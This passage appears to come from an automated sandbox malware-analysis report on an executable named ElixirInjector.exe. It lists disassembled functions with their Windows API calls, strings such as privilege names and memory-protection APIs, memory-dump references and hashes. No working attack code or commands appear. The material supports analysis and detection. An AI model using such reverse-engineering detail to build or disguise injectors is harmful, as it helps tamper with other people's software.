                                                                                              Function 00F1F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F2081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00F20836
                                                                                                • Part of subcall function 00F2081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00F1F2D8,Crypt32.dll,00000000,00F1F35C,?,?,00F1F33E,?,?,?), ref: 00F20858
                                                                                              • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00F1F2E4
                                                                                              • GetProcAddress.KERNEL32(00F581C8,CryptUnprotectMemory), ref: 00F1F2F4
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressProc$DirectoryLibraryLoadSystem
                                                                                              • String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
                                                                                              • API String ID: 2141747552-1753850145
                                                                                              • Opcode ID: 1d586d344b51991983afd570aa3ed5385dc1ba421ab9b5f6ea9405ced8e466a6
                                                                                              • Instruction ID: 21258090d118ab345c359ed2891d6e7f5759c0ef4aa1f33cf5126c88a2febd3a
                                                                                              • Opcode Fuzzy Hash: 1d586d344b51991983afd570aa3ed5385dc1ba421ab9b5f6ea9405ced8e466a6
                                                                                              • Instruction Fuzzy Hash: 11E02638C407019EC7209F38980CB42BED46F14714F10881DF8DAD3640CBB8D080AB01
                                                                                              Function 00F32BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AdjustPointer$_abort
                                                                                              • String ID:
                                                                                              • API String ID: 2252061734-0
                                                                                              • Opcode ID: 9f67389d4d90b1fe11c14a01105983391683e07a2c47657174c23272d2a9a24c
                                                                                              • Instruction ID: 8415f1ac34272177ced655ea188cec3171ceaee6624976b66babf7c15bdf71d1
                                                                                              • Opcode Fuzzy Hash: 9f67389d4d90b1fe11c14a01105983391683e07a2c47657174c23272d2a9a24c
                                                                                              • Instruction Fuzzy Hash: B951E472A00212AFDB698F14D845BAEB7A4FF54730F24452EEC05576A1D735ED80F790
                                                                                              Function 00F3BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetEnvironmentStringsW.KERNEL32 ref: 00F3BF39
                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F3BF5C
                                                                                                • Part of subcall function 00F38E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00F34286,?,0000015D,?,?,?,?,00F35762,000000FF,00000000,?,?), ref: 00F38E38
                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F3BF82
                                                                                              • _free.LIBCMT ref: 00F3BF95
                                                                                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F3BFA4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                              • String ID:
                                                                                              • API String ID: 336800556-0
                                                                                              • Opcode ID: 594158e0230fce0e160d6bba70747e4816e572af1c95bcc2ce7e4f5c81464ce7
                                                                                              • Instruction ID: 2906383af6ef42800606d5b711ae7d49859e0df6a244174c78cb99cfc3bd521c
                                                                                              • Opcode Fuzzy Hash: 594158e0230fce0e160d6bba70747e4816e572af1c95bcc2ce7e4f5c81464ce7
                                                                                              • Instruction Fuzzy Hash: FA01B1A6A01616BF272116BA5C58C7B7A6DDEC7BB17140129FE04C2104EF64CD02B5B0
                                                                                              Function 00F39869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(?,?,?,00F391AD,00F3B188,?,00F39813,00000001,00000364,?,00F340EF,?,?,00F51098), ref: 00F3986E
                                                                                              • _free.LIBCMT ref: 00F398A3
                                                                                              • _free.LIBCMT ref: 00F398CA
                                                                                              • SetLastError.KERNEL32(00000000,?,00F51098), ref: 00F398D7
                                                                                              • SetLastError.KERNEL32(00000000,?,00F51098), ref: 00F398E0
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast$_free
                                                                                              • String ID:
                                                                                              • API String ID: 3170660625-0
                                                                                              • Opcode ID: 59610031e1e90ea9a8f8ad69255b6958c12c4b7c487cd0d551917598858f46bf
                                                                                              • Instruction ID: 145a3f262844075dd104549425120320a29f2884e4f7034ae2d9af5c19cb9e4b
                                                                                              • Opcode Fuzzy Hash: 59610031e1e90ea9a8f8ad69255b6958c12c4b7c487cd0d551917598858f46bf
                                                                                              • Instruction Fuzzy Hash: EC01D13A54D6056B83122729AC95A1A35399FE3774F600135F91592292EEE8CC067261
                                                                                              Function 00F20EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F211CF: ResetEvent.KERNEL32(?), ref: 00F211E1
                                                                                                • Part of subcall function 00F211CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00F211F5
                                                                                              • ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00F20F21
                                                                                              • CloseHandle.KERNEL32(?,?), ref: 00F20F3B
                                                                                              • DeleteCriticalSection.KERNEL32(?), ref: 00F20F54
                                                                                              • CloseHandle.KERNEL32(?), ref: 00F20F60
                                                                                              • CloseHandle.KERNEL32(?), ref: 00F20F6C
                                                                                                • Part of subcall function 00F20FE4: WaitForSingleObject.KERNEL32(?,000000FF,00F21101,?,?,00F2117F,?,?,?,?,?,00F21169), ref: 00F20FEA
                                                                                                • Part of subcall function 00F20FE4: GetLastError.KERNEL32(?,?,00F2117F,?,?,?,?,?,00F21169), ref: 00F20FF6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                                                                                              • String ID:
                                                                                              • API String ID: 1868215902-0
                                                                                              • Opcode ID: ea93e55d7c8230b8e20faa9a15d94a4d1ef96c688380a196c13739501b288396
                                                                                              • Instruction ID: a02f27c28393a07d0398bab81f21ec5bd222c3ee7a7203886965107f2520ab00
                                                                                              • Opcode Fuzzy Hash: ea93e55d7c8230b8e20faa9a15d94a4d1ef96c688380a196c13739501b288396
                                                                                              • Instruction Fuzzy Hash: 0E01B176000744EFC7329B68ED84BC6FBA9FB08714F000A29F66B92160CB767A44EB54
                                                                                              Function 00F3C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _free.LIBCMT ref: 00F3C817
                                                                                                • Part of subcall function 00F38DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?), ref: 00F38DE2
                                                                                                • Part of subcall function 00F38DCC: GetLastError.KERNEL32(?,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?,?), ref: 00F38DF4
                                                                                              • _free.LIBCMT ref: 00F3C829
                                                                                              • _free.LIBCMT ref: 00F3C83B
                                                                                              • _free.LIBCMT ref: 00F3C84D
                                                                                              • _free.LIBCMT ref: 00F3C85F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                              • String ID:
                                                                                              • API String ID: 776569668-0
                                                                                              • Opcode ID: cdfe52d1106049423645a6416714b63d089959be9e0ef6c38d62bdcda2d162c5
                                                                                              • Instruction ID: 08db486db3f76ff82799b8923ff36145e942fffb1c46cb59f2f101d7c396a2f9
                                                                                              • Opcode Fuzzy Hash: cdfe52d1106049423645a6416714b63d089959be9e0ef6c38d62bdcda2d162c5
                                                                                              • Instruction Fuzzy Hash: C9F06232900205AB8720EB68F885C0673F9BA10B74F550819F548E7552CB78FD81EB90
                                                                                              Function 00F21FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _wcslen.LIBCMT ref: 00F21FE5
                                                                                              • _wcslen.LIBCMT ref: 00F21FF6
                                                                                              • _wcslen.LIBCMT ref: 00F22006
                                                                                              • _wcslen.LIBCMT ref: 00F22014
                                                                                              • CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00F1B371,?,?,00000000,?,?,?), ref: 00F2202F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$CompareString
                                                                                              • String ID:
                                                                                              • API String ID: 3397213944-0
                                                                                              • Opcode ID: 88f0ebd36598de72e70491be5c926922dd0aa6419a31aed3d5c7c0e8921ff303
                                                                                              • Instruction ID: debb317db100a075a143087985e4d3e330a3408a210046c77829ddcd5c94a1d4
                                                                                              • Opcode Fuzzy Hash: 88f0ebd36598de72e70491be5c926922dd0aa6419a31aed3d5c7c0e8921ff303
                                                                                              • Instruction Fuzzy Hash: 11F01D33408024BBCF22AF51EC09D8A7F26EB45770F118415FA1A5A061CB7296A5E690
                                                                                              Function 00F38900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _free.LIBCMT ref: 00F3891E
                                                                                                • Part of subcall function 00F38DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?), ref: 00F38DE2
                                                                                                • Part of subcall function 00F38DCC: GetLastError.KERNEL32(?,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?,?), ref: 00F38DF4
                                                                                              • _free.LIBCMT ref: 00F38930
                                                                                              • _free.LIBCMT ref: 00F38943
                                                                                              • _free.LIBCMT ref: 00F38954
                                                                                              • _free.LIBCMT ref: 00F38965
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                              • String ID:
                                                                                              • API String ID: 776569668-0
                                                                                              • Opcode ID: 3e15ec0c61966d43b4bbb4df2ea5f7ce6613ac88c7fe7cba002387ac9a8ac48b
                                                                                              • Instruction ID: 99d8a2717d3e6c418518a7d1f65792593f114dff641c0453611f8c1164f1be6f
                                                                                              • Opcode Fuzzy Hash: 3e15ec0c61966d43b4bbb4df2ea5f7ce6613ac88c7fe7cba002387ac9a8ac48b
                                                                                              • Instruction Fuzzy Hash: 45F0DA7581122E9BDB866F14FC024553FB1F725B747010566F51C562B2CF398993FB82
                                                                                              Function 00F215FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _swprintf
                                                                                              • String ID: %ls$%s: %s
                                                                                              • API String ID: 589789837-2259941744
                                                                                              • Opcode ID: 0ed955200289b2e5e836c1128047833100a92129854677824051e16f2ba365c8
                                                                                              • Instruction ID: 0911b0808614fb36a92bb4b75f129a28a6799be7e63f6c54c2e8e2412b64ccd9
                                                                                              • Opcode Fuzzy Hash: 0ed955200289b2e5e836c1128047833100a92129854677824051e16f2ba365c8
                                                                                              • Instruction Fuzzy Hash: 07513A33288320F6F7311BA0BD86F797A65BB34B04F244506FB86B40E1C9A6A551B71F
                                                                                              Function 00F37F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\ElixirInjector.exe,00000104), ref: 00F37FAE
                                                                                              • _free.LIBCMT ref: 00F38079
                                                                                              • _free.LIBCMT ref: 00F38083
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$FileModuleName
                                                                                              • String ID: C:\Users\user\Desktop\ElixirInjector.exe
                                                                                              • API String ID: 2506810119-2228703999
                                                                                              • Opcode ID: 043ebf4c6a89154d07fbcefa3a8be01b4c650b3eb8ba51aec53aa022e3bab265
                                                                                              • Instruction ID: fd66ccd75064ef8ac53c7f3ffa8ce71357f1ca0c06c18263a4a26d455f20eb1f
                                                                                              • Opcode Fuzzy Hash: 043ebf4c6a89154d07fbcefa3a8be01b4c650b3eb8ba51aec53aa022e3bab265
                                                                                              • Instruction Fuzzy Hash: A931A2B1A04318AFCB25EFA8DC8099EBBB8EB85370F104066F50497211DAB48A85EB51
                                                                                              Function 00F331D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00F331FB
                                                                                              • _abort.LIBCMT ref: 00F33306
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: EncodePointer_abort
                                                                                              • String ID: MOC$RCC
                                                                                              • API String ID: 948111806-2084237596
                                                                                              • Opcode ID: 734e6f8351e26a4c07e4a2bb2c790d631ccaae5185e4c27a2ab7aa07984cd503
                                                                                              • Instruction ID: a893764a12a0ea1db928009262679c3157b8a501bb1c9a75ee942a0779242c4e
                                                                                              • Opcode Fuzzy Hash: 734e6f8351e26a4c07e4a2bb2c790d631ccaae5185e4c27a2ab7aa07984cd503
                                                                                              • Instruction Fuzzy Hash: C9414771D00209AFCF15DF98CD81AEEBBB5BF48324F198059F905A7221D739EA50EB50
                                                                                              Function 00F17401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F17406
                                                                                                • Part of subcall function 00F13BBA: __EH_prolog.LIBCMT ref: 00F13BBF
                                                                                              • GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 00F174CD
                                                                                                • Part of subcall function 00F17A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00F17AAB
                                                                                                • Part of subcall function 00F17A9C: GetLastError.KERNEL32 ref: 00F17AF1
                                                                                                • Part of subcall function 00F17A9C: CloseHandle.KERNEL32(?), ref: 00F17B00
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorH_prologLast$CloseCurrentHandleProcess
                                                                                              • String ID: SeRestorePrivilege$SeSecurityPrivilege
                                                                                              • API String ID: 3813983858-639343689
                                                                                              • Opcode ID: d9c771540b7e60180dd1b7ceca0c34cad21e232052f81420beeaf96e89f71f6d
                                                                                              • Instruction ID: eb1ded4bf279f5535e450262751fe2a60578d23e6182bf7c0e3418bcd660532c
                                                                                              • Opcode Fuzzy Hash: d9c771540b7e60180dd1b7ceca0c34cad21e232052f81420beeaf96e89f71f6d
                                                                                              • Instruction Fuzzy Hash: F531E171D04358AADF10EBA4DC45BEE7FB9BF09314F044015F808A7292CB789AC4E761
                                                                                              Function 00F2AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F11316: GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                                • Part of subcall function 00F11316: SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              • EndDialog.USER32(?,00000001), ref: 00F2AD98
                                                                                              • GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00F2ADAD
                                                                                              • SetDlgItemTextW.USER32(?,00000066,?), ref: 00F2ADC2
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemText$DialogWindow
                                                                                              • String ID: ASKNEXTVOL
                                                                                              • API String ID: 445417207-3402441367
                                                                                              • Opcode ID: 44acf351ab96eae84ecf6d7e2378724305ea52290dab81b0fd61fdf9b52bbaa2
                                                                                              • Instruction ID: 92a76566ec29a58c3c33f3c01006007856625367e6f3cc41044619c5cb2f72b5
                                                                                              • Opcode Fuzzy Hash: 44acf351ab96eae84ecf6d7e2378724305ea52290dab81b0fd61fdf9b52bbaa2
                                                                                              • Instruction Fuzzy Hash: 7D11E932680224BFD7229FACED05FAA7769FF4A702F800404F245DB4A0C7619945B723
                                                                                              Function 00F1D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __fprintf_l.LIBCMT ref: 00F1D954
                                                                                              • _strncpy.LIBCMT ref: 00F1D99A
                                                                                                • Part of subcall function 00F21DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00F51030,?,00F1D928,00000000,?,00000050,00F51030), ref: 00F21DC4
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
